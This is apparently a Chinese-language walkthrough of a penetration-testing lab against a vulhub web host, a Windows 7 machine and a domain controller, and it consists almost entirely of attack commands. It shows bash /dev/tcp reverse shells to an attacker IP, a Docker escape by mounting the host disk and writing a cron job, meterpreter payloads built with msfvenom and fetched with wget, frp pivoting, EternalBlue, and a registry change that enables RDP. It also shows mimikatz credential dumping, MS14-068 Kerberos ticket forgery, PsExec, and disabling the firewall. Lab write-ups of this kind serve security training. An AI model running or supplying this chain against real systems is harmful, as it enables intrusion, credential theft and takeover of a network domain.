环境搭建
三个主机密码
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008(登录之后提示修改密码)
IP
web:192.168.164.178/192.168.152.131
win7:192.168.152.132
DC:192.168.152.133
先进入ubuntu启动web,开启3个环境
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
web
主机发现
arp-scan -l
端口扫描
nmap -p- 192.168.164.178
访问一下,分别对应strust2、tomcat、phpmyadmin
漏洞利用
struts2
使用漏洞检测工具
开启监听
反弹shell
bash -i >& /dev/tcp/192.168.164.134/9999 0>&1
监听成功
Tomcat
对该版本的tomcat进行漏洞查找
searchsploit tomcat 8.5.19
发现该版本存在CVE-2017-12617漏洞,这个漏洞CVE- 2017-12615是 Tomcat远程代码执行漏洞(PUT请求),可以使用PUT方法上传任意文件
用burpsuite进行抓包,进行上传哥斯拉
使用哥斯拉生成jsp木马
改为PUT上传,加/绕过,上传成功
哥斯拉连接
http://192.168.164.178:2002/1.jsp
连接成功
在根目录下发现.dockerenv
docker逃逸
检测是否在docker中
cat /proc/1/cgroup
判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
cat /proc/self/status | grep Cap
进行查看光盘时,可以看到能够挂载的光盘
fdisk -l
创建一个文件,把光盘sda1挂载到该文件下
mkdir 11
cd 11
mount /dev/sda1 /11
尝试读取shadow文件
cat /11/etc/shadow
写入计划任务
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.164.134/5555 0>&1" >> /11/tmp/test.sh
sed -i '$a*/1 * * * * root bash /tmp/test.sh ' /11/etc/crontab
cat /11/etc/crontab
kali开启监听
nc -nvlp 5555
监听成功
发现双网卡
上线msf
msfconsole
生成shell.elf文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.164.134 LPORT=7777 -f elf > shell.elf
开启python服务
python3 -m http.server 6789
下载到目标机器
wget http://192.168.164.134:6789/shell.elf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.164.134
set lport 7777
run
chmod 777 shell.elf
./shell.elf
上线成功
win7
内网主机探测
上传fscan进行扫描
wget http://192.168.164.134:6789/fscan_amd64
./fscan_amd64 -h 192.168.152.0/24
frp代理
修改frpc.ini文件
开启python服务上传frp
python3 -m http.server 6789
wget http://192.168.164.134:6789/frp_0.40.0_linux_amd64/frpc.ini
wget http://192.168.164.134:6789/frp_0.40.0_linux_amd64/frpc
chmod 777 frpc
启动服务端和客户端
./frps -c ./frps.ini
./frpc -c ./frpc.ini &
漏洞利用
开启msf
msfconsole
搜索ms17_010漏洞
search ms17_010
use 0
set proxies socks5:127.0.0.1:10010
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.152.132
run(第一次会失败,再执行一次就好了)
run
shell
查看3389是否开启
netstat -nao | findstr 3389
开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
修改编码
chcp 65001
连接远程桌面
proxychains rdesktop 192.168.152.132
抓取密码
exit
load kiwi\
creds_all
获取sid
迁移到域进程上
ps -ef
migrate 2980
getuid
shell
whoami /user
发现登不上
修改administrator的密码
chcp 65001
net user administrator Admin12345
net user administrator /active:yes
DC
生成认证
切换到域用户的桌面
cd C:\Users\douser\Desktop
利用 ms14-068.exe 工具生成伪造的 kerberos 协议认证证书
MS14-068.exe -u douseredemo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.152.132 -p Dotest123
dir
打开mimikatz
kerberos::list
导入生成的文件
kerberos::ptc TGT_douser@demo.com.ccache
dir \\WIN-ENS2VR5TR3N\C$
PsExec64.exe /accepteual /s \\WIN-ENS2VR5TR3N cmd
hostname
关闭防火墙
netsh advfirewall set allprofiles state off
利用永恒之蓝
set rhost 192.168.152.133
run
上线成功